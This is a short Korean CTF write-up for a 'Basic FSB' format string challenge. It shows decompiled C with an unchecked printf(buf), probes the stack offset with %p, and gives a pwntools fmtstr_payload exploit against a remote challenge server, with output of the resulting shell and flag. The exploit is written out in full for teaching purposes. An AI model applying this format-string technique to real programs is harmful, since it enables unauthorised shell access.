Basic FSB

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [esp+Ch] [ebp-2Ch] BYREF
  unsigned int v5; // [esp+2Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  read(0, buf, 0x20u);
  printf(buf);
  if ( check )
    system("/bin/sh");
  return 0;
}
```

FSB를 활용해 `check`의 값을 True로 만들면 될 것 같다.

```
$ ./basic_fsb
AAAA.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xff84c74c.0x20.(nil).0xf7f9c000.0xf7fc72b0.(nil).0x41414141.0x2e70252e
```

오프셋이 7인 것을 알 수 있다.

```
   0x0804856d <+82>:    mov    eax,ds:0x804a048
   0x08048572 <+87>:    test   eax,eax
   0x08048574 <+89>:    je     0x8048586 <main+107>
   0x08048576 <+91>:    sub    esp,0xc
   0x08048579 <+94>:    push   0x8048630
   0x0804857e <+99>:    call   0x80483e0 <system@plt>
```

디버깅 해보면 전역변수 `check`의 주소를 알 수 있다.

Exploit

```
from pwn import *

# p = process('./basic_fsb')
p = remote('realsung.kr', 8001)
# context.log_level = 'debug'

check = 0x804a048

payload = fmtstr_payload(7, {check:0x1})
p.sendline(payload)

p.interactive()
```

`pwntools`의 `fmtstr_payload()`를 사용하면 쉽게 풀 수 있다. (`%7$n`과 같이 직접 포맷스트링을 페이로드에 넣어도 된다.)

```
$ python3 basic_ex.py
[+] Opening connection to realsung.kr on port 8001: Done
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
flag{F0rm4t_St1ng_Bug_S0_D4ng3R..}
```